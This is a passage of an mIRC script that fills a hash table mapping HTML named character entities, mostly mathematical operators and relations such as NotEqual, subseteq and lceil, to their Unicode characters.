  4026.   hadd %h /^bumpeq$/1070 $chr($base(224F, 16, 10))
  4027.   hadd %h /^nbumpe$/1071 $chr($base(224F, 16, 10)) $+ $chr($base(0338, 16, 10))
  4028.   hadd %h /^NotHumpEqual$/1072 $chr($base(224F, 16, 10)) $+ $chr($base(0338, 16, 10))
  4029.   hadd %h /^esdot$/1073 $chr($base(2250, 16, 10))
  4030.   hadd %h /^DotEqual$/1074 $chr($base(2250, 16, 10))
  4031.   hadd %h /^doteq$/1075 $chr($base(2250, 16, 10))
  4032.   hadd %h /^nedot$/1076 $chr($base(2250, 16, 10)) $+ $chr($base(0338, 16, 10))
  4033.   hadd %h /^eDot$/1077 $chr($base(2251, 16, 10))
  4034.   hadd %h /^doteqdot$/1078 $chr($base(2251, 16, 10))
  4035.   hadd %h /^efDot$/1079 $chr($base(2252, 16, 10))
  4036.   hadd %h /^fallingdotseq$/1080 $chr($base(2252, 16, 10))
  4037.   hadd %h /^erDot$/1081 $chr($base(2253, 16, 10))
  4038.   hadd %h /^risingdotseq$/1082 $chr($base(2253, 16, 10))
  4039.   hadd %h /^colone$/1083 $chr($base(2254, 16, 10))
  4040.   hadd %h /^coloneq$/1084 $chr($base(2254, 16, 10))
  4041.   hadd %h /^Assign$/1085 $chr($base(2254, 16, 10))
  4042.   hadd %h /^ecolon$/1086 $chr($base(2255, 16, 10))
  4043.   hadd %h /^eqcolon$/1087 $chr($base(2255, 16, 10))
  4044.   hadd %h /^ecir$/1088 $chr($base(2256, 16, 10))
  4045.   hadd %h /^eqcirc$/1089 $chr($base(2256, 16, 10))
  4046.   hadd %h /^cire$/1090 $chr($base(2257, 16, 10))
  4047.   hadd %h /^circeq$/1091 $chr($base(2257, 16, 10))
  4048.   hadd %h /^wedgeq$/1092 $chr($base(2259, 16, 10))
  4049.   hadd %h /^veeeq$/1093 $chr($base(225A, 16, 10))
  4050.   hadd %h /^trie$/1094 $chr($base(225C, 16, 10))
  4051.   hadd %h /^triangleq$/1095 $chr($base(225C, 16, 10))
  4052.   hadd %h /^equest$/1096 $chr($base(225F, 16, 10))
  4053.   hadd %h /^questeq$/1097 $chr($base(225F, 16, 10))
  4054.   hadd %h /^ne$/1098 $chr($base(2260, 16, 10))
  4055.   hadd %h /^NotEqual$/1099 $chr($base(2260, 16, 10))
  4056.   hadd %h /^equiv$/1100 $chr($base(2261, 16, 10))
  4057.   hadd %h /^Congruent$/1101 $chr($base(2261, 16, 10))
  4058.   hadd %h /^bnequiv$/1102 $chr($base(2261, 16, 10)) $+ $chr($base(20E5, 16, 10))
  4059.   hadd %h /^nequiv$/1103 $chr($base(2262, 16, 10))
  4060.   hadd %h /^NotCongruent$/1104 $chr($base(2262, 16, 10))
  4061.   hadd %h /^le$/1105 $chr($base(2264, 16, 10))
  4062.   hadd %h /^leq$/1106 $chr($base(2264, 16, 10))
  4063.   hadd %h /^nvle$/1107 $chr($base(2264, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4064.   hadd %h /^ge$/1108 $chr($base(2265, 16, 10))
  4065.   hadd %h /^GreaterEqual$/1109 $chr($base(2265, 16, 10))
  4066.   hadd %h /^geq$/1110 $chr($base(2265, 16, 10))
  4067.   hadd %h /^nvge$/1111 $chr($base(2265, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4068.   hadd %h /^lE$/1112 $chr($base(2266, 16, 10))
  4069.   hadd %h /^LessFullEqual$/1113 $chr($base(2266, 16, 10))
  4070.   hadd %h /^leqq$/1114 $chr($base(2266, 16, 10))
  4071.   hadd %h /^nlE$/1115 $chr($base(2266, 16, 10)) $+ $chr($base(0338, 16, 10))
  4072.   hadd %h /^nleqq$/1116 $chr($base(2266, 16, 10)) $+ $chr($base(0338, 16, 10))
  4073.   hadd %h /^gE$/1117 $chr($base(2267, 16, 10))
  4074.   hadd %h /^GreaterFullEqual$/1118 $chr($base(2267, 16, 10))
  4075.   hadd %h /^geqq$/1119 $chr($base(2267, 16, 10))
  4076.   hadd %h /^ngE$/1120 $chr($base(2267, 16, 10)) $+ $chr($base(0338, 16, 10))
  4077.   hadd %h /^ngeqq$/1121 $chr($base(2267, 16, 10)) $+ $chr($base(0338, 16, 10))
  4078.   hadd %h /^NotGreaterFullEqual$/1122 $chr($base(2267, 16, 10)) $+ $chr($base(0338, 16, 10))
  4079.   hadd %h /^lnE$/1123 $chr($base(2268, 16, 10))
  4080.   hadd %h /^lneqq$/1124 $chr($base(2268, 16, 10))
  4081.   hadd %h /^lvnE$/1125 $chr($base(2268, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4082.   hadd %h /^lvertneqq$/1126 $chr($base(2268, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4083.   hadd %h /^gnE$/1127 $chr($base(2269, 16, 10))
  4084.   hadd %h /^gneqq$/1128 $chr($base(2269, 16, 10))
  4085.   hadd %h /^gvnE$/1129 $chr($base(2269, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4086.   hadd %h /^gvertneqq$/1130 $chr($base(2269, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4087.   hadd %h /^Lt$/1131 $chr($base(226A, 16, 10))
  4088.   hadd %h /^NestedLessLess$/1132 $chr($base(226A, 16, 10))
  4089.   hadd %h /^ll$/1133 $chr($base(226A, 16, 10))
  4090.   hadd %h /^nLtv$/1134 $chr($base(226A, 16, 10)) $+ $chr($base(0338, 16, 10))
  4091.   hadd %h /^NotLessLess$/1135 $chr($base(226A, 16, 10)) $+ $chr($base(0338, 16, 10))
  4092.   hadd %h /^nLt$/1136 $chr($base(226A, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4093.   hadd %h /^Gt$/1137 $chr($base(226B, 16, 10))
  4094.   hadd %h /^NestedGreaterGreater$/1138 $chr($base(226B, 16, 10))
  4095.   hadd %h /^gg$/1139 $chr($base(226B, 16, 10))
  4096.   hadd %h /^nGtv$/1140 $chr($base(226B, 16, 10)) $+ $chr($base(0338, 16, 10))
  4097.   hadd %h /^NotGreaterGreater$/1141 $chr($base(226B, 16, 10)) $+ $chr($base(0338, 16, 10))
  4098.   hadd %h /^nGt$/1142 $chr($base(226B, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4099.   hadd %h /^twixt$/1143 $chr($base(226C, 16, 10))
  4100.   hadd %h /^between$/1144 $chr($base(226C, 16, 10))
  4101.   hadd %h /^NotCupCap$/1145 $chr($base(226D, 16, 10))
  4102.   hadd %h /^nlt$/1146 $chr($base(226E, 16, 10))
  4103.   hadd %h /^NotLess$/1147 $chr($base(226E, 16, 10))
  4104.   hadd %h /^nless$/1148 $chr($base(226E, 16, 10))
  4105.   hadd %h /^ngt$/1149 $chr($base(226F, 16, 10))
  4106.   hadd %h /^NotGreater$/1150 $chr($base(226F, 16, 10))
  4107.   hadd %h /^ngtr$/1151 $chr($base(226F, 16, 10))
  4108.   hadd %h /^nle$/1152 $chr($base(2270, 16, 10))
  4109.   hadd %h /^NotLessEqual$/1153 $chr($base(2270, 16, 10))
  4110.   hadd %h /^nleq$/1154 $chr($base(2270, 16, 10))
  4111.   hadd %h /^nge$/1155 $chr($base(2271, 16, 10))
  4112.   hadd %h /^NotGreaterEqual$/1156 $chr($base(2271, 16, 10))
  4113.   hadd %h /^ngeq$/1157 $chr($base(2271, 16, 10))
  4114.   hadd %h /^lsim$/1158 $chr($base(2272, 16, 10))
  4115.   hadd %h /^LessTilde$/1159 $chr($base(2272, 16, 10))
  4116.   hadd %h /^lesssim$/1160 $chr($base(2272, 16, 10))
  4117.   hadd %h /^gsim$/1161 $chr($base(2273, 16, 10))
  4118.   hadd %h /^gtrsim$/1162 $chr($base(2273, 16, 10))
  4119.   hadd %h /^GreaterTilde$/1163 $chr($base(2273, 16, 10))
  4120.   hadd %h /^nlsim$/1164 $chr($base(2274, 16, 10))
  4121.   hadd %h /^NotLessTilde$/1165 $chr($base(2274, 16, 10))
  4122.   hadd %h /^ngsim$/1166 $chr($base(2275, 16, 10))
  4123.   hadd %h /^NotGreaterTilde$/1167 $chr($base(2275, 16, 10))
  4124.   hadd %h /^lg$/1168 $chr($base(2276, 16, 10))
  4125.   hadd %h /^lessgtr$/1169 $chr($base(2276, 16, 10))
  4126.   hadd %h /^LessGreater$/1170 $chr($base(2276, 16, 10))
  4127.   hadd %h /^gl$/1171 $chr($base(2277, 16, 10))
  4128.   hadd %h /^gtrless$/1172 $chr($base(2277, 16, 10))
  4129.   hadd %h /^GreaterLess$/1173 $chr($base(2277, 16, 10))
  4130.   hadd %h /^ntlg$/1174 $chr($base(2278, 16, 10))
  4131.   hadd %h /^NotLessGreater$/1175 $chr($base(2278, 16, 10))
  4132.   hadd %h /^ntgl$/1176 $chr($base(2279, 16, 10))
  4133.   hadd %h /^NotGreaterLess$/1177 $chr($base(2279, 16, 10))
  4134.   hadd %h /^pr$/1178 $chr($base(227A, 16, 10))
  4135.   hadd %h /^Precedes$/1179 $chr($base(227A, 16, 10))
  4136.   hadd %h /^prec$/1180 $chr($base(227A, 16, 10))
  4137.   hadd %h /^sc$/1181 $chr($base(227B, 16, 10))
  4138.   hadd %h /^Succeeds$/1182 $chr($base(227B, 16, 10))
  4139.   hadd %h /^succ$/1183 $chr($base(227B, 16, 10))
  4140.   hadd %h /^prcue$/1184 $chr($base(227C, 16, 10))
  4141.   hadd %h /^PrecedesSlantEqual$/1185 $chr($base(227C, 16, 10))
  4142.   hadd %h /^preccurlyeq$/1186 $chr($base(227C, 16, 10))
  4143.   hadd %h /^sccue$/1187 $chr($base(227D, 16, 10))
  4144.   hadd %h /^SucceedsSlantEqual$/1188 $chr($base(227D, 16, 10))
  4145.   hadd %h /^succcurlyeq$/1189 $chr($base(227D, 16, 10))
  4146.   hadd %h /^prsim$/1190 $chr($base(227E, 16, 10))
  4147.   hadd %h /^precsim$/1191 $chr($base(227E, 16, 10))
  4148.   hadd %h /^PrecedesTilde$/1192 $chr($base(227E, 16, 10))
  4149.   hadd %h /^scsim$/1193 $chr($base(227F, 16, 10))
  4150.   hadd %h /^succsim$/1194 $chr($base(227F, 16, 10))
  4151.   hadd %h /^SucceedsTilde$/1195 $chr($base(227F, 16, 10))
  4152.   hadd %h /^NotSucceedsTilde$/1196 $chr($base(227F, 16, 10)) $+ $chr($base(0338, 16, 10))
  4153.   hadd %h /^npr$/1197 $chr($base(2280, 16, 10))
  4154.   hadd %h /^nprec$/1198 $chr($base(2280, 16, 10))
  4155.   hadd %h /^NotPrecedes$/1199 $chr($base(2280, 16, 10))
  4156.   hadd %h /^nsc$/1200 $chr($base(2281, 16, 10))
  4157.   hadd %h /^nsucc$/1201 $chr($base(2281, 16, 10))
  4158.   hadd %h /^NotSucceeds$/1202 $chr($base(2281, 16, 10))
  4159.   hadd %h /^sub$/1203 $chr($base(2282, 16, 10))
  4160.   hadd %h /^subset$/1204 $chr($base(2282, 16, 10))
  4161.   hadd %h /^vnsub$/1205 $chr($base(2282, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4162.   hadd %h /^nsubset$/1206 $chr($base(2282, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4163.   hadd %h /^NotSubset$/1207 $chr($base(2282, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4164.   hadd %h /^sup$/1208 $chr($base(2283, 16, 10))
  4165.   hadd %h /^supset$/1209 $chr($base(2283, 16, 10))
  4166.   hadd %h /^Superset$/1210 $chr($base(2283, 16, 10))
  4167.   hadd %h /^vnsup$/1211 $chr($base(2283, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4168.   hadd %h /^nsupset$/1212 $chr($base(2283, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4169.   hadd %h /^NotSuperset$/1213 $chr($base(2283, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4170.   hadd %h /^nsub$/1214 $chr($base(2284, 16, 10))
  4171.   hadd %h /^nsup$/1215 $chr($base(2285, 16, 10))
  4172.   hadd %h /^sube$/1216 $chr($base(2286, 16, 10))
  4173.   hadd %h /^SubsetEqual$/1217 $chr($base(2286, 16, 10))
  4174.   hadd %h /^subseteq$/1218 $chr($base(2286, 16, 10))
  4175.   hadd %h /^supe$/1219 $chr($base(2287, 16, 10))
  4176.   hadd %h /^supseteq$/1220 $chr($base(2287, 16, 10))
  4177.   hadd %h /^SupersetEqual$/1221 $chr($base(2287, 16, 10))
  4178.   hadd %h /^nsube$/1222 $chr($base(2288, 16, 10))
  4179.   hadd %h /^nsubseteq$/1223 $chr($base(2288, 16, 10))
  4180.   hadd %h /^NotSubsetEqual$/1224 $chr($base(2288, 16, 10))
  4181.   hadd %h /^nsupe$/1225 $chr($base(2289, 16, 10))
  4182.   hadd %h /^nsupseteq$/1226 $chr($base(2289, 16, 10))
  4183.   hadd %h /^NotSupersetEqual$/1227 $chr($base(2289, 16, 10))
  4184.   hadd %h /^subne$/1228 $chr($base(228A, 16, 10))
  4185.   hadd %h /^subsetneq$/1229 $chr($base(228A, 16, 10))
  4186.   hadd %h /^vsubne$/1230 $chr($base(228A, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4187.   hadd %h /^varsubsetneq$/1231 $chr($base(228A, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4188.   hadd %h /^supne$/1232 $chr($base(228B, 16, 10))
  4189.   hadd %h /^supsetneq$/1233 $chr($base(228B, 16, 10))
  4190.   hadd %h /^vsupne$/1234 $chr($base(228B, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4191.   hadd %h /^varsupsetneq$/1235 $chr($base(228B, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4192.   hadd %h /^cupdot$/1236 $chr($base(228D, 16, 10))
  4193.   hadd %h /^uplus$/1237 $chr($base(228E, 16, 10))
  4194.   hadd %h /^UnionPlus$/1238 $chr($base(228E, 16, 10))
  4195.   hadd %h /^sqsub$/1239 $chr($base(228F, 16, 10))
  4196.   hadd %h /^SquareSubset$/1240 $chr($base(228F, 16, 10))
  4197.   hadd %h /^sqsubset$/1241 $chr($base(228F, 16, 10))
  4198.   hadd %h /^NotSquareSubset$/1242 $chr($base(228F, 16, 10)) $+ $chr($base(0338, 16, 10))
  4199.   hadd %h /^sqsup$/1243 $chr($base(2290, 16, 10))
  4200.   hadd %h /^SquareSuperset$/1244 $chr($base(2290, 16, 10))
  4201.   hadd %h /^sqsupset$/1245 $chr($base(2290, 16, 10))
  4202.   hadd %h /^NotSquareSuperset$/1246 $chr($base(2290, 16, 10)) $+ $chr($base(0338, 16, 10))
  4203.   hadd %h /^sqsube$/1247 $chr($base(2291, 16, 10))
  4204.   hadd %h /^SquareSubsetEqual$/1248 $chr($base(2291, 16, 10))
  4205.   hadd %h /^sqsubseteq$/1249 $chr($base(2291, 16, 10))
  4206.   hadd %h /^sqsupe$/1250 $chr($base(2292, 16, 10))
  4207.   hadd %h /^SquareSupersetEqual$/1251 $chr($base(2292, 16, 10))
  4208.   hadd %h /^sqsupseteq$/1252 $chr($base(2292, 16, 10))
  4209.   hadd %h /^sqcap$/1253 $chr($base(2293, 16, 10))
  4210.   hadd %h /^SquareIntersection$/1254 $chr($base(2293, 16, 10))
  4211.   hadd %h /^sqcaps$/1255 $chr($base(2293, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4212.   hadd %h /^sqcup$/1256 $chr($base(2294, 16, 10))
  4213.   hadd %h /^SquareUnion$/1257 $chr($base(2294, 16, 10))
  4214.   hadd %h /^sqcups$/1258 $chr($base(2294, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4215.   hadd %h /^oplus$/1259 $chr($base(2295, 16, 10))
  4216.   hadd %h /^CirclePlus$/1260 $chr($base(2295, 16, 10))
  4217.   hadd %h /^ominus$/1261 $chr($base(2296, 16, 10))
  4218.   hadd %h /^CircleMinus$/1262 $chr($base(2296, 16, 10))
  4219.   hadd %h /^otimes$/1263 $chr($base(2297, 16, 10))
  4220.   hadd %h /^CircleTimes$/1264 $chr($base(2297, 16, 10))
  4221.   hadd %h /^osol$/1265 $chr($base(2298, 16, 10))
  4222.   hadd %h /^odot$/1266 $chr($base(2299, 16, 10))
  4223.   hadd %h /^CircleDot$/1267 $chr($base(2299, 16, 10))
  4224.   hadd %h /^ocir$/1268 $chr($base(229A, 16, 10))
  4225.   hadd %h /^circledcirc$/1269 $chr($base(229A, 16, 10))
  4226.   hadd %h /^oast$/1270 $chr($base(229B, 16, 10))
  4227.   hadd %h /^circledast$/1271 $chr($base(229B, 16, 10))
  4228.   hadd %h /^odash$/1272 $chr($base(229D, 16, 10))
  4229.   hadd %h /^circleddash$/1273 $chr($base(229D, 16, 10))
  4230.   hadd %h /^plusb$/1274 $chr($base(229E, 16, 10))
  4231.   hadd %h /^boxplus$/1275 $chr($base(229E, 16, 10))
  4232.   hadd %h /^minusb$/1276 $chr($base(229F, 16, 10))
  4233.   hadd %h /^boxminus$/1277 $chr($base(229F, 16, 10))
  4234.   hadd %h /^timesb$/1278 $chr($base(22A0, 16, 10))
  4235.   hadd %h /^boxtimes$/1279 $chr($base(22A0, 16, 10))
  4236.   hadd %h /^sdotb$/1280 $chr($base(22A1, 16, 10))
  4237.   hadd %h /^dotsquare$/1281 $chr($base(22A1, 16, 10))
  4238.   hadd %h /^vdash$/1282 $chr($base(22A2, 16, 10))
  4239.   hadd %h /^RightTee$/1283 $chr($base(22A2, 16, 10))
  4240.   hadd %h /^dashv$/1284 $chr($base(22A3, 16, 10))
  4241.   hadd %h /^LeftTee$/1285 $chr($base(22A3, 16, 10))
  4242.   hadd %h /^top$/1286 $chr($base(22A4, 16, 10))
  4243.   hadd %h /^DownTee$/1287 $chr($base(22A4, 16, 10))
  4244.   hadd %h /^bottom$/1288 $chr($base(22A5, 16, 10))
  4245.   hadd %h /^bot$/1289 $chr($base(22A5, 16, 10))
  4246.   hadd %h /^perp$/1290 $chr($base(22A5, 16, 10))
  4247.   hadd %h /^UpTee$/1291 $chr($base(22A5, 16, 10))
  4248.   hadd %h /^models$/1292 $chr($base(22A7, 16, 10))
  4249.   hadd %h /^vDash$/1293 $chr($base(22A8, 16, 10))
  4250.   hadd %h /^DoubleRightTee$/1294 $chr($base(22A8, 16, 10))
  4251.   hadd %h /^Vdash$/1295 $chr($base(22A9, 16, 10))
  4252.   hadd %h /^Vvdash$/1296 $chr($base(22AA, 16, 10))
  4253.   hadd %h /^VDash$/1297 $chr($base(22AB, 16, 10))
  4254.   hadd %h /^nvdash$/1298 $chr($base(22AC, 16, 10))
  4255.   hadd %h /^nvDash$/1299 $chr($base(22AD, 16, 10))
  4256.   hadd %h /^nVdash$/1300 $chr($base(22AE, 16, 10))
  4257.   hadd %h /^nVDash$/1301 $chr($base(22AF, 16, 10))
  4258.   hadd %h /^prurel$/1302 $chr($base(22B0, 16, 10))
  4259.   hadd %h /^vltri$/1303 $chr($base(22B2, 16, 10))
  4260.   hadd %h /^vartriangleleft$/1304 $chr($base(22B2, 16, 10))
  4261.   hadd %h /^LeftTriangle$/1305 $chr($base(22B2, 16, 10))
  4262.   hadd %h /^vrtri$/1306 $chr($base(22B3, 16, 10))
  4263.   hadd %h /^vartriangleright$/1307 $chr($base(22B3, 16, 10))
  4264.   hadd %h /^RightTriangle$/1308 $chr($base(22B3, 16, 10))
  4265.   hadd %h /^ltrie$/1309 $chr($base(22B4, 16, 10))
  4266.   hadd %h /^trianglelefteq$/1310 $chr($base(22B4, 16, 10))
  4267.   hadd %h /^LeftTriangleEqual$/1311 $chr($base(22B4, 16, 10))
  4268.   hadd %h /^nvltrie$/1312 $chr($base(22B4, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4269.   hadd %h /^rtrie$/1313 $chr($base(22B5, 16, 10))
  4270.   hadd %h /^trianglerighteq$/1314 $chr($base(22B5, 16, 10))
  4271.   hadd %h /^RightTriangleEqual$/1315 $chr($base(22B5, 16, 10))
  4272.   hadd %h /^nvrtrie$/1316 $chr($base(22B5, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4273.   hadd %h /^origof$/1317 $chr($base(22B6, 16, 10))
  4274.   hadd %h /^imof$/1318 $chr($base(22B7, 16, 10))
  4275.   hadd %h /^mumap$/1319 $chr($base(22B8, 16, 10))
  4276.   hadd %h /^multimap$/1320 $chr($base(22B8, 16, 10))
  4277.   hadd %h /^hercon$/1321 $chr($base(22B9, 16, 10))
  4278.   hadd %h /^intcal$/1322 $chr($base(22BA, 16, 10))
  4279.   hadd %h /^intercal$/1323 $chr($base(22BA, 16, 10))
  4280.   hadd %h /^veebar$/1324 $chr($base(22BB, 16, 10))
  4281.   hadd %h /^barvee$/1325 $chr($base(22BD, 16, 10))
  4282.   hadd %h /^angrtvb$/1326 $chr($base(22BE, 16, 10))
  4283.   hadd %h /^lrtri$/1327 $chr($base(22BF, 16, 10))
  4284.   hadd %h /^xwedge$/1328 $chr($base(22C0, 16, 10))
  4285.   hadd %h /^Wedge$/1329 $chr($base(22C0, 16, 10))
  4286.   hadd %h /^bigwedge$/1330 $chr($base(22C0, 16, 10))
  4287.   hadd %h /^xvee$/1331 $chr($base(22C1, 16, 10))
  4288.   hadd %h /^Vee$/1332 $chr($base(22C1, 16, 10))
  4289.   hadd %h /^bigvee$/1333 $chr($base(22C1, 16, 10))
  4290.   hadd %h /^xcap$/1334 $chr($base(22C2, 16, 10))
  4291.   hadd %h /^Intersection$/1335 $chr($base(22C2, 16, 10))
  4292.   hadd %h /^bigcap$/1336 $chr($base(22C2, 16, 10))
  4293.   hadd %h /^xcup$/1337 $chr($base(22C3, 16, 10))
  4294.   hadd %h /^Union$/1338 $chr($base(22C3, 16, 10))
  4295.   hadd %h /^bigcup$/1339 $chr($base(22C3, 16, 10))
  4296.   hadd %h /^diam$/1340 $chr($base(22C4, 16, 10))
  4297.   hadd %h /^diamond$/1341 $chr($base(22C4, 16, 10))
  4298.   hadd %h /^Diamond$/1342 $chr($base(22C4, 16, 10))
  4299.   hadd %h /^sdot$/1343 $chr($base(22C5, 16, 10))
  4300.   hadd %h /^sstarf$/1344 $chr($base(22C6, 16, 10))
  4301.   hadd %h /^Star$/1345 $chr($base(22C6, 16, 10))
  4302.   hadd %h /^divonx$/1346 $chr($base(22C7, 16, 10))
  4303.   hadd %h /^divideontimes$/1347 $chr($base(22C7, 16, 10))
  4304.   hadd %h /^bowtie$/1348 $chr($base(22C8, 16, 10))
  4305.   hadd %h /^ltimes$/1349 $chr($base(22C9, 16, 10))
  4306.   hadd %h /^rtimes$/1350 $chr($base(22CA, 16, 10))
  4307.   hadd %h /^lthree$/1351 $chr($base(22CB, 16, 10))
  4308.   hadd %h /^leftthreetimes$/1352 $chr($base(22CB, 16, 10))
  4309.   hadd %h /^rthree$/1353 $chr($base(22CC, 16, 10))
  4310.   hadd %h /^rightthreetimes$/1354 $chr($base(22CC, 16, 10))
  4311.   hadd %h /^bsime$/1355 $chr($base(22CD, 16, 10))
  4312.   hadd %h /^backsimeq$/1356 $chr($base(22CD, 16, 10))
  4313.   hadd %h /^cuvee$/1357 $chr($base(22CE, 16, 10))
  4314.   hadd %h /^curlyvee$/1358 $chr($base(22CE, 16, 10))
  4315.   hadd %h /^cuwed$/1359 $chr($base(22CF, 16, 10))
  4316.   hadd %h /^curlywedge$/1360 $chr($base(22CF, 16, 10))
  4317.   hadd %h /^Sub$/1361 $chr($base(22D0, 16, 10))
  4318.   hadd %h /^Subset$/1362 $chr($base(22D0, 16, 10))
  4319.   hadd %h /^Sup$/1363 $chr($base(22D1, 16, 10))
  4320.   hadd %h /^Supset$/1364 $chr($base(22D1, 16, 10))
  4321.   hadd %h /^Cap$/1365 $chr($base(22D2, 16, 10))
  4322.   hadd %h /^Cup$/1366 $chr($base(22D3, 16, 10))
  4323.   hadd %h /^fork$/1367 $chr($base(22D4, 16, 10))
  4324.   hadd %h /^pitchfork$/1368 $chr($base(22D4, 16, 10))
  4325.   hadd %h /^epar$/1369 $chr($base(22D5, 16, 10))
  4326.   hadd %h /^ltdot$/1370 $chr($base(22D6, 16, 10))
  4327.   hadd %h /^lessdot$/1371 $chr($base(22D6, 16, 10))
  4328.   hadd %h /^gtdot$/1372 $chr($base(22D7, 16, 10))
  4329.   hadd %h /^gtrdot$/1373 $chr($base(22D7, 16, 10))
  4330.   hadd %h /^Ll$/1374 $chr($base(22D8, 16, 10))
  4331.   hadd %h /^nLl$/1375 $chr($base(22D8, 16, 10)) $+ $chr($base(0338, 16, 10))
  4332.   hadd %h /^Gg$/1376 $chr($base(22D9, 16, 10))
  4333.   hadd %h /^ggg$/1377 $chr($base(22D9, 16, 10))
  4334.   hadd %h /^nGg$/1378 $chr($base(22D9, 16, 10)) $+ $chr($base(0338, 16, 10))
  4335.   hadd %h /^leg$/1379 $chr($base(22DA, 16, 10))
  4336.   hadd %h /^LessEqualGreater$/1380 $chr($base(22DA, 16, 10))
  4337.   hadd %h /^lesseqgtr$/1381 $chr($base(22DA, 16, 10))
  4338.   hadd %h /^lesg$/1382 $chr($base(22DA, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4339.   hadd %h /^gel$/1383 $chr($base(22DB, 16, 10))
  4340.   hadd %h /^gtreqless$/1384 $chr($base(22DB, 16, 10))
  4341.   hadd %h /^GreaterEqualLess$/1385 $chr($base(22DB, 16, 10))
  4342.   hadd %h /^gesl$/1386 $chr($base(22DB, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4343.   hadd %h /^cuepr$/1387 $chr($base(22DE, 16, 10))
  4344.   hadd %h /^curlyeqprec$/1388 $chr($base(22DE, 16, 10))
  4345.   hadd %h /^cuesc$/1389 $chr($base(22DF, 16, 10))
  4346.   hadd %h /^curlyeqsucc$/1390 $chr($base(22DF, 16, 10))
  4347.   hadd %h /^nprcue$/1391 $chr($base(22E0, 16, 10))
  4348.   hadd %h /^NotPrecedesSlantEqual$/1392 $chr($base(22E0, 16, 10))
  4349.   hadd %h /^nsccue$/1393 $chr($base(22E1, 16, 10))
  4350.   hadd %h /^NotSucceedsSlantEqual$/1394 $chr($base(22E1, 16, 10))
  4351.   hadd %h /^nsqsube$/1395 $chr($base(22E2, 16, 10))
  4352.   hadd %h /^NotSquareSubsetEqual$/1396 $chr($base(22E2, 16, 10))
  4353.   hadd %h /^nsqsupe$/1397 $chr($base(22E3, 16, 10))
  4354.   hadd %h /^NotSquareSupersetEqual$/1398 $chr($base(22E3, 16, 10))
  4355.   hadd %h /^lnsim$/1399 $chr($base(22E6, 16, 10))
  4356.   hadd %h /^gnsim$/1400 $chr($base(22E7, 16, 10))
  4357.   hadd %h /^prnsim$/1401 $chr($base(22E8, 16, 10))
  4358.   hadd %h /^precnsim$/1402 $chr($base(22E8, 16, 10))
  4359.   hadd %h /^scnsim$/1403 $chr($base(22E9, 16, 10))
  4360.   hadd %h /^succnsim$/1404 $chr($base(22E9, 16, 10))
  4361.   hadd %h /^nltri$/1405 $chr($base(22EA, 16, 10))
  4362.   hadd %h /^ntriangleleft$/1406 $chr($base(22EA, 16, 10))
  4363.   hadd %h /^NotLeftTriangle$/1407 $chr($base(22EA, 16, 10))
  4364.   hadd %h /^nrtri$/1408 $chr($base(22EB, 16, 10))
  4365.   hadd %h /^ntriangleright$/1409 $chr($base(22EB, 16, 10))
  4366.   hadd %h /^NotRightTriangle$/1410 $chr($base(22EB, 16, 10))
  4367.   hadd %h /^nltrie$/1411 $chr($base(22EC, 16, 10))
  4368.   hadd %h /^ntrianglelefteq$/1412 $chr($base(22EC, 16, 10))
  4369.   hadd %h /^NotLeftTriangleEqual$/1413 $chr($base(22EC, 16, 10))
  4370.   hadd %h /^nrtrie$/1414 $chr($base(22ED, 16, 10))
  4371.   hadd %h /^ntrianglerighteq$/1415 $chr($base(22ED, 16, 10))
  4372.   hadd %h /^NotRightTriangleEqual$/1416 $chr($base(22ED, 16, 10))
  4373.   hadd %h /^vellip$/1417 $chr($base(22EE, 16, 10))
  4374.   hadd %h /^ctdot$/1418 $chr($base(22EF, 16, 10))
  4375.   hadd %h /^utdot$/1419 $chr($base(22F0, 16, 10))
  4376.   hadd %h /^dtdot$/1420 $chr($base(22F1, 16, 10))
  4377.   hadd %h /^disin$/1421 $chr($base(22F2, 16, 10))
  4378.   hadd %h /^isinsv$/1422 $chr($base(22F3, 16, 10))
  4379.   hadd %h /^isins$/1423 $chr($base(22F4, 16, 10))
  4380.   hadd %h /^isindot$/1424 $chr($base(22F5, 16, 10))
  4381.   hadd %h /^notindot$/1425 $chr($base(22F5, 16, 10)) $+ $chr($base(0338, 16, 10))
  4382.   hadd %h /^notinvc$/1426 $chr($base(22F6, 16, 10))
  4383.   hadd %h /^notinvb$/1427 $chr($base(22F7, 16, 10))
  4384.   hadd %h /^isinE$/1428 $chr($base(22F9, 16, 10))
  4385.   hadd %h /^notinE$/1429 $chr($base(22F9, 16, 10)) $+ $chr($base(0338, 16, 10))
  4386.   hadd %h /^nisd$/1430 $chr($base(22FA, 16, 10))
  4387.   hadd %h /^xnis$/1431 $chr($base(22FB, 16, 10))
  4388.   hadd %h /^nis$/1432 $chr($base(22FC, 16, 10))
  4389.   hadd %h /^notnivc$/1433 $chr($base(22FD, 16, 10))
  4390.   hadd %h /^notnivb$/1434 $chr($base(22FE, 16, 10))
  4391.   hadd %h /^barwed$/1435 $chr($base(2305, 16, 10))
  4392.   hadd %h /^barwedge$/1436 $chr($base(2305, 16, 10))
  4393.   hadd %h /^Barwed$/1437 $chr($base(2306, 16, 10))
  4394.   hadd %h /^doublebarwedge$/1438 $chr($base(2306, 16, 10))
  4395.   hadd %h /^lceil$/1439 $chr($base(2308, 16, 10))
  4396.   hadd %h /^LeftCeiling$/1440 $chr($base(2308, 16, 10))
  4397.   hadd %h /^rceil$/1441 $chr($base(2309, 16, 10))
  4398.   hadd %h /^RightCeiling$/1442 $chr($base(2309, 16, 10))
